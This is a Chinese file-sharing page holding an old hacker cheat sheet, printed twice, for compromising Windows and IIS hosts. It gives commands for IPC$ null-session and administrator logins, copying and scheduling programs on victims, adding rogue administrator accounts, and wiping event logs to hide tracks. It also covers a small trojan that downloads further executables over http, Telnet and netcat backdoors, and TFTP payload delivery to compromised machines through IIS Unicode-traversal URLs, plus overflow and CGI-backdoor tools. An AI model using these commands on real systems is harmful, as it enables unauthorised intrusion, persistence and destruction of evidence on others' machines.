![与远程主机建立空管连接_第1页](http://file4.renrendoc.com/view/a9f41fee9448786d1bb16e4d0e12fbf4/a9f41fee9448786d1bb16e4d0e12fbf41.gif)
![与远程主机建立空管连接_第2页](http://file4.renrendoc.com/view/a9f41fee9448786d1bb16e4d0e12fbf4/a9f41fee9448786d1bb16e4d0e12fbf42.gif)
![与远程主机建立空管连接_第3页](http://file4.renrendoc.com/view/a9f41fee9448786d1bb16e4d0e12fbf4/a9f41fee9448786d1bb16e4d0e12fbf43.gif)
![与远程主机建立空管连接_第4页](http://file4.renrendoc.com/view/a9f41fee9448786d1bb16e4d0e12fbf4/a9f41fee9448786d1bb16e4d0e12fbf44.gif)
![与远程主机建立空管连接_第5页](http://file4.renrendoc.com/view/a9f41fee9448786d1bb16e4d0e12fbf4/a9f41fee9448786d1bb16e4d0e12fbf45.gif)
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
(与远程主机建立空管连接)netuse\\IP地址\ipc$""/use:""
(以管理员身份登录远程主机)netuse\\IP地址\ipc$"密码"/use:"Administrator"
(传送文件到远程主机WINNT目录下)copy本机目录路径\程序\\IP地址\admin$
(查看远程主机时间)nettime\\IP地址
(定时启动某个程序)at\\IP地址02:18readme.exe
(查看共享)netview\\IP地址
(查看netbios工作组列表)nbtstat-AIP地址
(将远程主机C盘映射为自己的F盘)netusef:\\IP地址\c$""/user:"Administrator"
(这两条把自己增加到管理员组):netuser用户名密码/add
netlocalgroupAdministrators用户名/add
(断开连接)netuse\\IP地址\ipc$/delete
=====================================================
擦屁屁:
delC:\winnt\system32\logfiles\*.*
delC:\winnt\system32\config\*.evt
delC:\winnt\system32\dtclog\*.*
delC:\winnt\system32\*.log
delC:\winnt\system32\*.txt
delC:\winnt\*.txt
delC:\winnt\*.log
============================
一、netsvc.exe
下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:
netsvc/list\\IP地址
netsvcschedule\\IP地址/query
netsvc\\IP地址schedule/start
二、OpenTelnet.exe
远程启动主机的Telnet服务,并绑定端口到7878,例如:
OpenTelnet\\IP地址用户名密码17878
然后就可以telnet到主机的7878端口,进入DOS方式下:
telnetIP地址7878
三、winshell.exe
一个非常小的木马(不到6K),telnet到主机的7878端口,输入密码winshell,当看到CMD>后,可打下面的命令:
pPath(查看winshell主程序的路径信息)
breBoot(重新启动机器)
dshutDown(关闭机器)
sShell(执行后你就会看到可爱的“C:\>”)
xeXit(退出本次登录会话,此命令并不终止winshell的运行)
CMD>
http://.../srv.exe
(通过http下载其他网站上的文件到运行winshell的机器上)
四、3389登陆器,GUI方式登录远程主机的
五、elsave.exe
事件日志清除工具
elsave-s\\IP地址-l"application"-C
elsave-s\\IP地址-l"system"-C
elsave-s\\IP地址-l"security"-C
执行后成功清除应用程序日志,系统日志,安全日志
六、hbulot.exe
开启win2kserver和winxp的3389服务
hbulot[/r]
使用/r表示安装完成后自动重起目标使设置生效。
七、nc.exe(netcat.exe)
一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。
想要连接到某处:nc[-options]hostnameport[s][ports]...
绑定端口等待连接:nc-l-pport[-options][hostname][port]
参数:
-eprog程序重定向,一旦连接,就执行[危险!!]
-ggatewaysource-routinghoppoint[s],upto8
-Gnumsource-routingpointer:4,8,12,...
-h帮助信息
-isecs延时的间隔
-l监听模式,用于入站连接
-n指定数字的IP地址,不能用hostname
-ofile记录16进制的传输
-pport本地端口号
-r任意指定本地及远程端口
-saddr本地源地址
-uUDP模式
-v详细输出——用两个-v可得到更详细的内容
-wsecstimeout的时间
-z将输入输出关掉——用于扫描时
八、TFTPD32.EXE
把自己的电脑临时变为一台FTP服务器,让肉鸡来下载文件,tftp命令要在肉鸡上执行,通常要利用Unicode漏洞或telnet到肉鸡,例如:
http://IP地址/scripts/..%255c..%255c/winnt/system32/cmd.exe?/ctftp-i本机IP地址get文件名c:\winnt\system32\文件名
然后可以直接令文件运行:
http://IP地址/scripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的,选择“溢出后在一个端口监听”,然后用telnet连接它的监听端口,如果溢出成功,一连它的端口,绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出,成功以后winxp下需要打winxp。
一、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor,exe要放到cgi-bin目录下,asp放到有ASP执行权限的目录。然后用IE浏览器连接。
一、Xscan命令行运行参数说明:
在检测过程中,按"[空格]"键可以查看各线程状态及扫描进度,按"q"键保存当前数据后提前退出程序,按""强行关闭程序。
1.命令格式:xscan-host[-][其他选项]
xscan-file
[其他选项]
其中含义如下:
-port:检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表);
-ftp:检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件);
-ntpass:检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件);
-cgi:检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案);
-iis:检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案);
[其他选项]含义如下:
-v:显示详细扫描进度
-p:跳过Ping不通的主机
-o:跳过没有检测到开放端口的主机
-t:指定最大并发线程数量和并发主机数量,默认数量为100,10
(与远程主机建立空管连接)netuse\\IP地址\ipc$""/use:""
(以管理员身份登录远程主机)netuse\\IP地址\ipc$"密码"/use:"Administrator"
(传送文件到远程主机WINNT目录下)copy本机目录路径\程序\\IP地址\admin$
(查看远程主机时间)nettime\\IP地址
(定时启动某个程序)at\\IP地址02:18readme.exe
(查看共享)netview\\IP地址
(查看netbios工作组列表)nbtstat-AIP地址
(将远程主机C盘映射为自己的F盘)netusef:\\IP地址\c$""/user:"Administrator"
(这两条把自己增加到管理员组):netuser用户名密码/add
netlocalgroupAdministrators用户名/add
(断开连接)netuse\\IP地址\ipc$/delete
=====================================================
擦屁屁:
delC:\winnt\system32\logfiles\*.*
delC:\winnt\system32\config\*.evt
delC:\winnt\system32\dtclog\*.*
delC:\winnt\system32\*.log
delC:\winnt\system32\*.txt
delC:\winnt\*.txt
delC:\winnt\*.log
============================
一、netsvc.exe
下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:
netsvc/list\\IP地址
netsvcschedule\\IP地址/query
netsvc\\IP地址schedule/start
二、OpenTelnet.exe
远程启动主机的Telnet服务,并绑定端口到7878,例如:
OpenTelnet\\IP地址用户名密码17878
然后就可以telnet到主机的7878端口,进入DOS方式下:
telnetIP地址7878
三、winshell.exe
一个非常小的木马(不到6K),telnet到主机的7878端口,输入密码winshell,当看到CMD>后,可打下面的命令:
pPath(查看winshell主程序的路径信息)
breBoot(重新启动机器)
dshutDown(关闭机器)
sShell(执行后你就会看到可爱的“C:\>”)
xeXit(退出本次登录会话,此命令并不终止winshell的运行)
CMD>
http://.../srv.exe
(通过http下载其他网站上的文件到运行winshell的机器上)
四、3389登陆器,GUI方式登录远程主机的
五、elsave.exe
事件日志清除工具
elsave-s\\IP地址-l"application"-C
elsave-s\\IP地址-l"system"-C
elsave-s\\IP地址-l"security"-C
执行后成功清除应用程序日志,系统日志,安全日志
六、hbulot.exe
开启win2kserver和winxp的3389服务
hbulot[/r]
使用/r表示安装完成后自动重起目标使设置生效。
七、nc.exe(netcat.exe)
一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。
想要连接到某处:nc[-options]hostnameport[s][ports]...
绑定端口等待连接:nc-l-pport[-options][hostname][port]
参数:
-eprog程序重定向,一旦连接,就执行[危险!!]
-ggatewaysource-routinghoppoint[s],upto8
-Gnumsource-routingpointer:4,8,12,...
-h帮助信息
-isecs延时的间隔
-l监听模式,用于入站连接
-n指定数字的IP地址,不能用hostname
-ofile记录16进制的传输
-pport本地端口号
-r任意指定本地及远程端口
-saddr本地源地址
-uUDP模式
-v详细输出——用两个-v可得到更详细的内容
-wsecstimeout的时间
-z将输入输出关掉——用于扫描时
八、TFTPD32.EXE
把自己的电脑临时变为一台FTP服务器,让肉鸡来下载文件,tftp命令要在肉鸡上执行,通常要利用Unicode漏洞或telnet到肉鸡,例如:
http://IP地址/scripts/..%255c..%255c/winnt/system32/cmd.exe?/ctftp-i本机IP地址get文件名c:\winnt\system32\文件名
然后可以直接令文件运行:
http://IP地址/scripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的,选择“溢出后在一个端口监听”,然后用telnet连接它的监听端口,如果溢出成功,一连它的端口,绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出,成功以后winxp下需要打winxp。
一○、ntis.exe、
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2023年江西教师招聘考试《小学美术》真题
- Unit 6 Im watching TV Section A课件-2023-2024学年人教新目标英语七年级下册
- 2024年非甾体抗炎药物项目可行性报告
- 福建省龙岩漳平市2023-2024学年三年级下学期6月期末语文试题
- Unit 2 Sports and Fitness Lesson 1 教案2023-2024学年高中英语北师大必修第一册
- 《科学探究作业设计方案-2023-2024学年科学浙教版2013》
- 鲁科版高中化学必修第一册第3章物质的性质与转化专题强化练4铁及其化合物性质的实验探究含答案
- 电动叉车充电区安全规程
- 《知识管理方法和工具+第2部分:设计理性知识建模GBT+41304.2-2022》详细解读
- 江苏省泰州市泰兴市2023-2024学年六年级下学期期末数学试卷
- 2023-2024学年四川省绵阳市小学语文四年级下册期末高分预测试卷
- 《生命的林子》教案 小学六年级语文教案PPT模板下载
- 2002-2022广东省深圳市中考数学历年真题(共24套最全)学生版+解析版
- GB/T 31148-2014联运通用平托盘木质平托盘
- 风能新能源企业风电机组质保验收管理标准
- (完整版)水工建筑物复习题全解
- 低视力助视技术试题附答案
- 智慧人社大数据平台整体解决方案
- 2021年浙江金华科贸职业技术学院辅导员招聘笔试试题及答案解析
- C616型普通车床说明书
- 重点中学小升初分班考试数学试题及答案
评论
0/150
提交评论